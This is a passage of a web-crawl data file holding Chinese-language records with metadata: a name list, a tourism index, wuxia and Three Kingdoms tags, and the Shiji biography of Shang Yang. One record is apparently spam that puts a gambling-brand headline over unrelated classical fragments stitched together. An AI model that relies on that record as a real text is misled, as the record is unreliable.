5:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578605510.53\/warc\/CC-MAIN-20190423134850-20190423160850-00069.warc.gz","language":"lzh","language_score":0.5622393489,"language_script":"Hani","minhash_cluster_size":27,"top_langs":"{\"lzh_Hani_score\": 0.5622393488883972, \"cmn_Hani_score\": 0.2878980338573456, \"nan_Hani_score\": 0.09087347984313965, \"jpn_Jpan_score\": 0.017529644072055817, \"yue_Hani_score\": 0.015539070591330528, \"wuu_Hani_score\": 0.014413517899811268}","num_words":32,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.457,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n夏海军 夏天明 夏钿深 夏胤 夏武强 夏乃志 夏庆华 夏夕童 夏树客 夏破天 夏维彬 夏铵君 夏晗 夏清锋 夏惠兰 夏爱袭 夏盛礼 夏众畅 夏诗懿 夏常畅 夏珑 夏淑敏 夏春萌 夏春蕊 夏子蕊 夏梵 夏可蕊 夏二蕊 夏祥洪 夏一蕊 夏振球 夏翎 夏可可 夏海海 夏玉欣 夏海 夏文汐 夏荣万 夏文夕 夏彩霓 夏畅 夏学而 夏舒泳 夏体慧 夏蒽 夏恩 夏南星 夏一予 夏克 夏雁泽 夏端 夏皓琦 夏美春 夏一酌 夏晓峰 夏冕钊 夏显沣 夏显锋 夏丁俏 夏钱封 夏铫 夏钰童 夏春乐 夏乐艺 夏立新 夏缁 夏炎冰 夏嘉聪 夏日 夏邱 夏商邱 夏春丘 夏丘天 夏继金 夏继商 夏商 夏丘 夏继丘 夏继天 夏艰瑞 夏群 夏玉华 夏津荣 夏歆羽 夏歆宇 夏立敏 夏健宇 夏慧霖 夏雨菲 夏启月 夏晓雨 夏筱语 夏天骏 夏倪栋 夏倪东 夏倪洪 夏倪成 夏骏鹏 夏倪诚 夏卿倪 夏凌轩 夏团团 夏杰夫 夏卫华 夏绍航 夏吉利 夏吉隆 夏鸣中 夏吉龙 夏明忠 夏熙尧 夏子龙 夏义勇 夏午 夏炎武 夏锦程 夏小清 夏同连 夏吉彬 夏吉斌 夏吉鑫 夏墉 夏均强 夏甜 夏荣春 夏元 夏云强 夏小坪 夏焱岩 夏凯馨 夏凯欣 夏凯昕 夏烨 夏守成 夏首成 夏冬青 夏系童 夏吉芹 夏树敏 夏柏强 夏百强 夏鼎盛 夏雨路 夏桂军 夏三 夏二 夏一 夏伟兰 夏嘉雯 夏侃 夏浩侃 夏冉彤 夏倪贞 夏倪真 夏倪征 夏倪祯 夏倪远 夏羽天 夏羽添 夏倪轩 夏羽菲 夏浩容 夏倪彦 夏倪岩 夏倪严 夏小羽 夏浩雨 夏浩浩 夏庭辉 夏浩格 夏聪 夏梦男 夏广磊 夏道平 夏伊 夏爱慧 夏知渝 夏建弘 夏浙华 夏素臣 夏知雨 夏正祥 夏林苑 夏敏尹 夏敏以 夏欢民 夏叶青 夏舒咏 夏美如 夏舒欣 夏进 夏舒恩 夏羽翔 夏美佳 夏智 夏梓豪 夏小惠 夏威炎 夏之祺 夏鲁威 夏小语 夏倪卿 夏倪清 夏倪青 夏倪乐 夏倪阳 夏倪洋 夏昕辉 夏梓盈 夏茂力 夏财运 夏浩伟 夏梦韫 夏志荣 夏康航 夏泱淇 夏赐宝 夏多多 夏忠源 夏凤清 夏久阳 夏阳光 夏升 夏殿殿 夏子珂 夏英俊 夏子俊 夏子骏 夏文韬 夏若楠 夏亚静 夏文轩 夏忠恒 夏芷珊 夏子珊 夏忠勇 夏侨缝 夏子洋 夏曼娱 夏钰斐 夏霁蓝 夏霁晨 夏霁霏 夏川迪 夏霁风 夏霁妮 夏霁心 夏霁煊 夏霁月 夏初霁 夏霁然 夏霁胭 夏小胭 夏亦胭 夏凌新 夏凌银 夏凌蕊 夏凌金 夏凌晶 夏仲倪 夏昕倪 夏凌星 夏尧笛 夏兴国 夏本凤 夏倪赫 夏倪震 夏一胭 夏倪钦 夏倪云 夏倪浩 夏倪岳 夏峰 夏倪志 夏倪智 夏倪为 夏倪炜 夏倪玮 夏倪峻 夏倪俊 夏倪骏 夏语胭 夏美奂 夏美妮 夏立春 夏汝煊 夏如煊 夏之威 夏德富 夏钰天 夏文煊 夏小煊 夏紫煊 夏郡蔓 夏靖煊 夏一煊 夏美煊 夏艾煊 夏以煊 夏煊煊","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/a681.cn\/show_1EQ.aspx","date":"2019-07-21T09:17:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526940.0\/warc\/CC-MAIN-20190721082354-20190721104354-00536.warc.gz","language":"lzh","language_score":0.9806244373,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.9806244373321533, \"nan_Hani_score\": 0.01771692931652069}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.982,"perplexity_score":500.0,"cluster_detection":1} +{"text":"歡迎您訪問本溪!\n想去0\n去過0\n沈陽旅游指南 大連旅游指南 鞍山旅游指南 撫順旅游指南 丹東旅游指南 錦州旅游指南 營口旅游指南 阜新旅游指南 遼陽旅游指南 盤錦旅游指南 鐵嶺旅游指南 朝陽旅游指南 葫蘆島旅游指南","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/www.77tel.com\/info\/7798\/","date":"2019-11-19T23:01:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670268.0\/warc\/CC-MAIN-20191119222644-20191120010644-00008.warc.gz","language":"lzh","language_score":0.6845428348,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.6845428347587585, \"cmn_Hani_score\": 0.22494341433048248, \"jpn_Jpan_score\": 0.05178480222821236, \"yue_Hani_score\": 0.025817474350333214, \"nan_Hani_score\": 0.011673691682517529}","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.725,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n滿寵 天外飛仙 武當派 梅花鉤 呂后 少林神拳 連體心法 二宮之爭 張春華 賈詡 溫瑞安 天鷹教 范遙 駱冰 徐晃 金輪法王 西蜀地形圖 韋春花 天地明環 破碎虚空 成昆 掃地僧 雙尖軟矛 鴛鴦腿 布衣神相 絕情谷 天地明環 倚天屠龍記 天一掌 血海飄香 風清揚 練師 章進 孫權 歐陽鋒 蕭摩訶 孫尚香 海神 涼州軍劫天子 九品中正制 仙門劍訣 鐵脊蛇矛 滿地開花八十—式 十住大乘功 冰玄勁 丞相,起風了 寧中則 碧血劍 長平公主 郭芙 神刀斬 鹿鼎記 石中玉 桃葉仙 伏養氣功 御盡萬法根源智經 霍青桐 天魔心法 金針開穴之法 穆念慈 丹心術 蔣濟 飛伏一百零八槍 任我行 護花鈴 碧血洗銀槍 曹仁 海大富 沐劍屏 司馬懿 方證大師 徐天宏 武三通 吸星大法 王語嫣 七十二路分筋錯骨手 羅漢伏虎拳 幻魔身法 七殺手 余滄海 段譽 定世鞭 江夏戰神 三十六招鳥啄擊法 魅變術 高平陵之變 龍木島主 陸遜 無念禪功 白世鏡 劍玄錄 玄鐵劍法 少林派 張翼 長河正氣 太清元功 南皮之戰 武田信玄 烏金血劍 馮錫范 嵩山十三太保 鍾靈 滅絕師太 曹洪 康敏 曹操迎天子 天魔擊三大散招 合肥之戰 程普 曹丕伐吳 大武俠時代 袁紫衣 挾刀揉手 金錢幫 全真七子 滿天花雨 大唐雙龍傳 吳應熊 史火龍 華山派 鍾會之亂 決戰前後 曹操 滅神掌 黃蓋 奼女心法 慕容復 陸小鳳傳奇 合淝新城之戰 流星鎚 掩月劍法 藏密智能書 荀攸 鐵蒺藜骨朵 菊花的刺 湘妃劍 星宿派 洪七公 文泰來 楚留香新傳 鴛鴦刀 韋小寶 玉女素心劍法 九韶定音劍 金庸 雲行雨飄 諸葛亮 飛燕七式 華山論劍 軟蝟甲 楊成協 武林外史 樂進 壽春馳援 徐榮 蔡文姬 陳宮 種玉大法 越女劍 左慈 耶律齊 宗預 李元霸 諸葛亮南征 散手八撲 禿筆翁 合淝之戰 天魔手七十二式 桃枝仙 楚留香新傳之借屍還魂 漢中之戰 林平之 歡樂英雄 劉備 射鵰三部曲 譙周 無想奼女大法 虛竹 碧落紅塵 飛龍大九式 石亭之戰 男人見不得 夏姬 界橋之戰 龍吟曲 逆水寒 九轉無相神功 丁春秋 枯禪玄功 張郃 無想十法 聖火令 龐統 魅影身法 歸藏鞭 余魚同 小鷹爪功 玄慈 街亭 迎風一刀斬 倚天劍 迷蹤七變 法正 屠龍刀 夏侯霸 丁不三 潼關之戰 胡斐 古墓派 貝海石 呂蒙 朱然 一串鞭 逍遙訣 雪山飛狐 東興之戰 五毒教 郭解 神州奇俠 明珠 吳起 流雲飛袖 沉沙劍法 蔣琬 黃鍾公 八賢王 破精自絕大法 孟獲 先天氣功 武當七俠 橫煉罡 吳三桂 赤壁之戰 伏魔劍法 儀琳 阿青 就地十八滾 笮融 戚芳 孫皓暴政 任盈盈 丁璫 裘千尺 甘寧 碎金剛乘 一休 五虎斷門刀 甄姬 德川家康 曹真 武當掌法 董允 紫氣天羅 西陵之戰 關興 不死印法 燕子雙飛 天魔大法 沖虛道長 關平 無崖子 朱子柳 無塵道長 定靜師太 于萬亭 定逸師太 青釭劍 五虎斷門刀 狂沙刀法 日月神教 喬鋒 九陽真經 陳到 韋一笑 三尸腦神丹 圓月彎刀 趙志敬 大元丹法 金剛門 丁不四 瘋魔上天下地一百零七撃 菩提心功 紫微軟劍 曹睿 羊祜 夷陵之戰 董卓討伐戰 郭靖 殘金缺玉 曹操攻徐州之戰 嫁衣神功 織女劍法 鎖子縮骨功 姑蘇慕容 七傷拳 賈充 于禁 孫策 換日大法 天魅凝陰 尹克西 飛鶯飛鷹 邊荒傳說 田伯光 夏侯淵 遊俠錄 吳質 龜息功 旋風十八矛 關銀屏 游坦之 陳近南 程靈素 金蛇郎君 炎陽奇功 天龍八部 交阯之亂 黃蓉 夷陵之戰 破蓮八著 霍都 飛刀,又見飛刀 魏延 英雄無淚 福康安 翔鷹劍法 龐德 天外流星 葵花寶典 呂玲綺 日月當空 興勢之戰 沙影二十八劍 梅花鉤 賭局 司馬昭 永安之戰 周泰 李典 大意失荊州 狄雲 玄氣大法 風鈴中的刀聲 移玉大法 天涯明月刀 恆山派 飛龍五式 玩命拳 一指頭禪 黑白子 孫堅 全真教 慕容博 伊達政宗 常伯志 童子功十三太保橫練 奇功絕藝榜 四大惡人 不碎金剛 鄧芝 合淝之戰 諸葛瞻 魏晉玄學 摘心手 桃實仙 勞德諾 鮑三娘 子貴母死 達爾巴 段正淳 太虛勁 張苞 黃祖 折花百式 典韋 空明拳 陸抗 柳絮劍法 玉女媚術 五嶽劍派 化石神功 挾天子 空綁術 魯有腳 蘇荃 洪承疇 移花接玉 趙雲 關羽 楊過 鬼王鞭 銀雕 隆中對 花間十二支 左手刀法 鷹變十三式 馬謖 儀琳 曹純 黃皓專權 郭淮 魔心連環 天心蓮環 曹爽專權 呂布爭徐州 笑傲江湖 江南七怪 晉滅吳之戰 梅超風 刀白鳳 青龍偃月刀 七流星 馬超 歐陽克 黃權 峨嵋派 崑崙派 古龍 諸葛恪 周瑜 劉備稱帝 韓小瑩 曹操討伐袁術之戰 飛鷹十三刺 七星龍王 青城派 降龍伏虎羅漢拳 雙修大法 建寧公主 絕代雙驕角色列表 飄香劍雨 文醜 風萍掌 倪匡 楚留香新傳之新月傳奇 林遠圖 摩尼教 衡山派 龍門鏢局 蝶雙飛 如意八打 倉亭之戰 乾隆 內家橫練 張三丰 蔣幹 君子劍 曹丕篡漢 張大春 鳳天南 程英 怒劍狂花 泰山派 大地飛鷹 上官鼎 康熙 神蛛凌空銀絲渡虛 東方不敗 凝真九變 謝煙客 張角 化骨綿掌 白萬劍 魏滅蜀之戰 飛天狐狸 段正明 楊頂天 姜維 五絕神功 鳩摩智 玄鐵重劍 三少爺的劍 飛狐外傳 張三李四 星彩 連城訣 劍客行 斷絕神功 王平 貂蟬 刑遁術 九字真言手印 道心種魔大法 血戰十式 群狐 先天功 情人箭 石田三成 袁紹 九轉還童 失魂引 絕不低頭 古龍作品 李莫愁 一扇十八搖 齊桓公 燎原百擊 裂馬槍 王異 豔陽刃法 碧海潮生曲 紫霞神功 李牧 蕭遠山 祝融 蕭逸 雙手互搏 打狗棒法 張召重 蛤蟆功 荀彧 曾柔 五毒神功 李廣 臥龍生 大喬 名劍風流 四大名捕 劉禪 張遼 趙半山 枯榮大師 阿珂 鄧艾 黃皓 令狐沖 尉遲敬德 費禕 夏青青 袖裡乾坤 白馬嘯西風 銅錘 劍花煙雨江南 太極七截棍 扭轉乾坤殺手劍 劍罡同流 索額圖 不戒和尚 火併蕭十一郎 蒼穹十三劍 小喬 流星鎚 北冥神功 林朝英 博望坡之戰 鰲拜 絕代雙驕 陳家洛 蒼穹神劍 定閒師太 大拍手 一燈大師 驚魂六記 心硯 尼摩星 誰來跟我乾杯 慈航劍典 金丹大法 萬物波動心法 捨身大法 淑女劍 鳥渡術 井中八法 木婉清 金絲綿掌 郭馬之亂 霓裳仙舞 小昭 馬皇后 石破天 劉表 七禽身法 呂布 尋秦記 賈南風 丐幫 周芷若 降龍十八掌 逍遙拆 鬼魅潛蹤 武夷派 流星蝴蝶劍 金蛇劍 丈八蛇矛 彩環曲 瑛姑 曹叡 曹丕 韓當 毛玠 彈指神通 崆峒派 小龍女 邊城浪子 大開碑手 阿九 擒拿截脈法 建安文學 胡昭 逍遙派 董卓 方天畫戟 衛春華 水笙 桃花仙 司馬師 覆雨翻雲 文鴦 鍾會 霍去病 竹節鞭 許褚 周伯通 靈犀一指 岳不羣 仇國論 楊逍 法顯 回轉斧法三十式 屯田制 袁承志 荊州 鐵騎快劍 孤星傳 大旗英雄傳 血鸚鵡 嫁衣神功 黯然銷魂掌 地煞拳 奪命十三劍 炎元真氣 鍾繇 孫皓 王元姬 荊楚爭雄記 月異星邪 韋小寶 華山派 魯肅 神君別傳 狼牙 日月麗天大法 閔柔 夏侯惇 九難 覆雨劍法 天山童姥 華陀針 魏滅蜀之戰 丁典 夢姑 羅憲 雌雄雙股劍 獨孤九劍 吳國太 紅花會 少林三渡 彼岸劍訣 曹休 多情劍客無情劍 無相神功 幻影劍法 蕭十一郎 不死七幻 丁奉 公孫止 黃忠 戰神圖錄 黃天大法 梁羽生 衛青 魅影劍法 伏虎神拳 浣花洗劍錄 彭長老 刀劍雙殺七七四十九式 水雲袖法 岳靈珊 廖化 殭屍拳 陸無雙 歸魂十八爪 楊修 尉遲恭 黑鬼爪 丹青生 關索 張無忌 蔣四根 第六天魔王 空城計 官渡之戰 馬大元 十二都天神功 趙敏 桃花島 披風杖法 楊康 封天閉地 白自在 楊儀 呂母 樊城之戰 阿朱 王重陽 徐庶 銀龍手 雙兒 傻姑 黃藥師 星际浪子 清風十三式 雷霆刀法 汪劍通 桃谷六仙 下邳之戰 魔佛十式 九玄大法 硃砂掌 丞相 東興之戰 諸葛誕 石亭之戰 吳六奇 白玉老虎 穿雲劍法 左冷禪 兵器譜 謝遜 易京之戰 凌波微步 俠客行 梵我如一 鄭丰 楚留香傳奇 七殺拳 九陰真經 徐盛 益州之戰 呂壹專權 周倉 明玉功 急風十三刺 五行劍法 五帝鐧 孫曉 辟邪劍法 李秋水 馬岱 陽頂天 太史慈 張飛 冷月寶刀 枯木神功 亡神十八掌 馬忠 桃根仙 九月鷹飛 司馬昭弒君 蒼穹十三式 變天擊地大法 姜維北伐 阿紫 藍鳳凰 塌上策 大圓滿杖法 六脈神劍 郭嘉 東洋神風刀法 暴雨梨花釘 奕劍術 壽春三叛 完顏洪烈 書劍恩仇錄 公孫綠萼 劍毒梅香 起風了 莫大先生 郭襄 歸辛樹 的盧 楚留香新傳之蝙蝠傳奇 太虛錯手 達摩手 殷離 夏侯嬰 臥龍 石清 蝴蝶穿花七十二式 孫策平江東之戰 嵩山派 孫權建國 鬼火十三拍 牛郎一百零八棍 大手印 玉女劍法 白骨爪 白阿繡 南匈奴 紫血大法 七种武器 方怡 死眷術 神龍教 石雙英 青龍會 心佛掌 裘千仞 常赫志 大人物 劍氣書香 瀟湘子 奪命簪 神鵰俠侶 桃幹仙 幽灵山庄 青松劍譜 九陽神功 燕子三抄水 凌統 白狼山之戰 月英 諸葛亮北伐","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2020-01-29T20:40:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251802249.87\/warc\/CC-MAIN-20200129194333-20200129223333-00138.warc.gz","language":"lzh","language_score":0.5900556445,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900556445121765, \"nan_Hani_score\": 0.25269627571105957, \"cmn_Hani_score\": 0.12175004929304123, \"yue_Hani_score\": 0.03296083211898804}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"im体育东京奥组委密切关注疫情正研究对策\n奉法循理之吏,不伐功矜能,百姓无称,亦无过行。作循吏列传第五十九。\n令天子之国以外五百里甸服:百里赋纳总,二百里纳铚,三百里纳秸服,四百里粟,五百里米。甸服外五百里侯服:百里采,二百里任国,三百里诸侯。侯服外五百里绥服:三百里揆文教,二百里奋武卫。绥服外五百里要服:三百里夷,二百里蔡。要服外五百里荒服:三百里蛮,二百里流。\n子曰:\"攻乎异端,斯害也已!\"\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾\n其明年春,汉复遣大将军卫青将六将军,兵十馀万骑,乃再出定襄数百里击匈奴,得首虏前後凡万九千馀级,而汉亦亡两将军,军三千馀骑。右将军建得以身脱,而前将军翕侯赵信兵不利,降匈奴。赵信者,故胡小王,降汉,汉封为翕侯,以前将军与右将军并军分行,独遇单于兵,故尽没。单于既得翕侯,以为自次王,用其姊妻之,与谋汉。信教单于益北绝幕,以诱罢汉兵,徼极而取之,无近塞。单于从其计。其明年,胡骑万人入上谷,杀数百人。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/m.tsqyfk.com\/5lp6x\/","date":"2020-02-26T18:43:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146485.15\/warc\/CC-MAIN-20200226181001-20200226211001-00098.warc.gz","language":"lzh","language_score":0.463948667,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.46394866704940796, \"cmn_Hani_score\": 0.3201436698436737, \"nan_Hani_score\": 0.07092657685279846, \"wuu_Hani_score\": 0.025412606075406075, \"jpn_Jpan_score\": 0.013824374414980412, \"yue_Hani_score\": 0.013295454904437065, \"und_Cyrl_score\": 0.011768403463065624, \"zxx_Latn_score\": 0.010925342328846455}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.342,"perplexity_score":500.0,"cluster_detection":1} +{"text":"── 商君列傳 第1段\n商君者衛之諸庶孽公子也、名鞅、姓公孫氏、其祖本姬姓也。鞅少好刑名之學、事魏相公叔座為中庶子。公叔座知其賢、未及進。會座病、魏惠王親往問病曰、公叔病有如不可諱、將柰社稷何。公叔曰、座之中庶子公孫鞅、年雖少有奇才、願王舉國而聽之。王嘿然。王且去。座屏人言曰、王即不聽用鞅、必殺之、無令出境。王許諾而去。公叔座召鞅謝曰、今者王問可以為相者、我言若、王色不許我、我方先君後臣、因謂王即弗用鞅當殺之、王許我、汝可疾去矣、且見禽。鞅曰、彼王不能用君之言任臣、又安能用君之言殺臣乎。卒不去。惠王既去、而謂左右曰、公叔病甚、悲乎、欲令寡人以國聽公孫鞅也、豈不悖哉。\n── 商君列傳 第2段\n公叔既死。公孫鞅聞秦孝公下令國中求賢者將修繆公之業東復侵地。乃遂西入秦、因孝公寵臣景監以求見孝公。孝公既見衛鞅。語事良久、孝公時時睡、弗聽。罷而孝公怒景監曰、子之客妄人耳、安足用邪。景監以讓衛鞅。衛鞅曰、吾說公以帝道、其志不開悟矣。後五日、復求見鞅。鞅復見孝公、益愈、然而未中旨。罷而孝公復讓景監。景監亦讓鞅。鞅曰、吾說公以王道而未入也、請復見鞅。鞅復見孝公。孝公善之而未用也。罷而去。孝公謂景監曰、汝客善、可與語矣。鞅曰、吾說公以霸道、其意欲用之矣、誠復見我、我知之矣。衛鞅復見孝公。公與語、不自知厀之前於席也。語數日不厭。景監曰、子何以中吾君、吾君之驩甚也。鞅曰、吾說君以帝王之道比三代、而君曰、久遠、吾不能待、且賢君者、各及其身顯名天下、安能邑邑待數十百年以成帝王乎、故吾以彊國之術說君、君大說之耳、然亦難以比德於殷周矣。\n── 商君列傳 第3段\n孝公既用衛鞅、鞅欲變法、恐天下議己。衛鞅曰、疑行無名、疑事無功、且夫有高人之行者、固見非於世、有獨知之慮者、必見敖於民、愚者闇於成事、知者見於未萌、民不可與慮始而可與樂成、論至德者不和於俗、成大功者不謀於眾、是以聖人茍可以彊國、不法其故、茍可以利民、不循其禮。孝公曰、善。甘龍曰、不然、聖人不易民而教、知者不變法而治、因民而教、不勞而成功、緣法而治者、吏習而民安之。衛鞅曰、龍之所言、世俗之言也、常人安於故俗、學者溺於所聞、以此兩者居官守法可也、非所與論於法之外也、三代不同禮而王、五伯不同法而霸、智者作法、愚者制焉、賢者更禮、不肖者拘焉。杜摯曰、利不百不變法、功不十不易器、法古無過、循禮無邪。衛鞅曰、治世不一道、便國不法古、故湯武不循古而王、夏殷不易禮而亡、反古者不可非、而循禮者不足多。孝公曰、善。以衛鞅為左庶長、卒定變法之令。\n── 商君列傳 第4段\n令民為什伍而相牧司連坐。不告姦者腰斬、告姦者與斬敵首同賞、匿姦者與降敵同罰。民有二男以上不分異者、倍其賦。有軍功者、各以率受上爵。為私斗者、各以輕重被刑大小。僇力本業、耕織致粟帛多者復其身。事末利及怠而貧者、舉以為收孥。宗室非有軍功論、不得為屬籍。明尊卑爵秩等級、各以差次名田宅、臣妾衣服以家次。有功者顯榮、無功者雖富無所芬華。\n── 商君列傳 第5段\n令既具、未布、恐民之不信、已乃立三丈之木於國都市南門、募民有能徙置北門者予十金。民怪之、莫敢徙。復曰能徙者予五十金。有一人徙之、輒予五十金、以明不欺。卒下令。\n── 商君列傳 第6段\n令行於民朞年、秦民之國都言初令之不便者以千數。於是太子犯法。衛鞅曰、法之不行、自上犯之。將法太子。太子、君嗣也、不可施刑、刑其傅公子虔、黥其師公孫賈。明日、秦人皆趨令。行之十年、秦民大說、道不拾遺、山無盜賊、家給人足。民勇於公戰、怯於私斗、鄉邑大治。秦民初言令不便者有來言令便者。衛鞅曰、此皆亂化之民也。盡遷之於邊城。其後民莫敢議令。\n── 商君列傳 第7段\n於是以鞅為大良造。將兵圍魏安邑、降之。居三年、作為筑冀闕宮庭於咸陽、秦自雍徙都之。而令民父子兄弟同室內息者為禁。而集小鄉邑聚為縣、置令、丞、凡三十一縣。為田開阡陌封疆、而賦稅平。平斗桶權衡丈尺。行之四年、公子虔復犯約、劓之。居五年、秦人富彊、天子致胙於孝公、諸侯畢賀。\n── 商君列傳 第8段\n其明年、齊敗魏兵於馬陵、虜其太子申、殺將軍龐涓。其明年、衛鞅說孝公曰、秦之與魏、譬若人之有腹心疾、非魏并秦、秦即并魏、何者魏居領阨之西、都安邑、與秦界河而獨擅山東之利、利則西侵秦、病則東收地、今以君之賢聖、國賴以盛、而魏往年大破於齊、諸侯畔之、可因此時伐魏、魏不支秦、必東徙、東徙、秦據河山之固、東鄉以制諸侯、此帝王之業也。孝公以為然、使衛鞅將而伐魏。魏使公子卬將而擊之。軍既相距、衛鞅遺魏將公子卬書曰、吾始與公子驩、今俱為兩國將、不忍相攻、可與公子面相見、盟、樂飲而罷兵、以安秦魏。魏公子卬以為然。會盟已、飲、而衛鞅伏甲士而襲、虜魏公子卬、因攻其軍、盡破之以歸秦。魏惠王兵數破於齊秦、國內空、日以削、恐、乃使使割河西之地獻於秦以和。而魏遂去安邑、徙都大梁。梁惠王曰、寡人恨不用公叔座之言也。衛鞅既破魏。還。秦封之於商十五邑、號為商君。\n── 商君列傳 第9段\n商君相秦十年、宗室貴戚多怨望者。趙良見商君。商君曰、鞅之得見也、從孟蘭皋、今鞅請得交、可乎。趙良曰、仆弗敢願也、孔丘有言曰、推賢而戴者進、聚不肖而王者退、仆不肖、故不敢受命、仆聞之曰、非其位而居之曰貪位、非其名而有之曰貪名、仆聽君之義、則恐仆貪位貪名也、故不敢聞命。商君曰、子不說吾治秦與。趙良曰、反聽之謂聰、內視之謂明、自勝之謂彊、虞舜有言曰、自卑也尚矣、君不若道虞舜之道、無為問仆矣。商君曰、始秦戎翟之教、父子無別、同室而居、今我更制其教、而為其男女之別、大筑冀闕、營如魯衛矣、子觀我治秦也、孰與五羖大夫賢。趙良曰、千羊之皮、不如一狐之掖、千人之諾諾、不如一士之諤諤、武王諤諤以昌、殷紂墨墨以亡、君若不非武王乎、則仆請終日正言而無誅、可乎。商君曰、語有之矣、貌言華也、至言實也、苦言藥也、甘言疾也、夫子果肯終日正言、鞅之藥也、鞅將事子,子又何辭焉。趙良曰、夫五羖大夫、荊之鄙人也、聞秦繆公之賢而願望見、行而無資、自粥於秦客、被褐食牛。期年、繆公知之、舉之牛口之下、而加之百姓之上、秦國莫敢望焉、相秦六七年、而東伐鄭、三置晉國之君、一救荊國之禍、發教封內、而巴人致貢、施德諸侯、而八戎來服、由余聞之、款關請見、五羖大夫之相秦也、勞不坐乘、暑不張蓋、行於國中、不從車乘、不操干戈、功名藏於府庫、德行施於後世、五羖大夫死、秦國男女流涕、童子不歌謠、舂者不相杵、此五羖大夫之德也、今君之見秦王也、因嬖人景監以為主、非所以為名也、相秦不以百姓為事、而大筑冀闕、非所以為功也、刑黥太子之師傅、殘傷民以駿刑、是積怨畜禍也、教之化民也深於命、民之效上也捷於令、今君又左建外易、非所以為教也、君又南面而稱寡人、日繩秦之貴公子、詩曰、相鼠有體、人而無禮、人而無禮、何不遄死、以詩觀之、非所以為壽也、公子虔杜門不出已八年矣、君又殺祝懽而黥公孫賈、詩曰、得人者興、失人者崩、此數事者、非所以得人也、君之出也、後車十數、從車載甲、多力而駢脅者為驂乘、持矛而操闟戟者旁車而趨、此一物不具、君固不出、書曰、恃德者昌、恃力者亡、君之危若朝露、尚將欲延年益壽乎、則何不歸十五都、灌園於鄙、勸秦王顯巖穴之士、養老存孤、敬父兄、序有功、尊有德、可以少安、君尚將貪商於之富、寵秦國之教、畜百姓之怨、秦王一旦捐賓客而不立朝、秦國之所以收君者、豈其微哉、亡可翹足而待。商君弗從。\n── 商君列傳 第10段\n後五月而秦孝公卒、太子立。公子虔之徒告商君欲反、發吏捕商君。商君亡至關下、欲舍客舍。客人不知其是商君也曰、商君之法、舍人無驗者坐之。商君喟然嘆曰、嗟乎、為法之敝一至此哉。去之魏。魏人怨其欺公子卬而破魏師、弗受。商君欲之他國。魏人曰、商君、秦之賊、秦彊而賊入魏、弗歸、不可。遂內秦。商君既復入秦、走商邑、與其徒屬發邑兵北出擊鄭。秦發兵攻商君、殺之於鄭黽池。秦惠王車裂商君以徇曰、莫如商鞅反者。遂滅商君之家。\n── 商君列傳 第11段\n太史公曰、商君其天資刻薄人也。跡其欲干孝公以帝王術、挾持浮說、非其質矣。且所因由嬖臣、及得用、刑公子虔、欺魏將卬、不師趙良之言、亦足發明商君之少恩矣。余嘗讀商君開塞耕戰書、與其人行事相類。卒受惡名於秦、有以也夫。","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nostalgi.jp\/top\/iframe\/book_sengokusaku10-19\/sengokusaku10_kousyukuza2\/kousyukuza2_iframe5-1.html","date":"2020-10-23T11:37:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107881369.4\/warc\/CC-MAIN-20201023102435-20201023132435-00198.warc.gz","language":"lzh","language_score":0.7550783753,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7550783753395081, \"cmn_Hani_score\": 0.106764055788517, \"nan_Hani_score\": 0.055261172354221344, \"jpn_Jpan_score\": 0.026892395690083504, \"yue_Hani_score\": 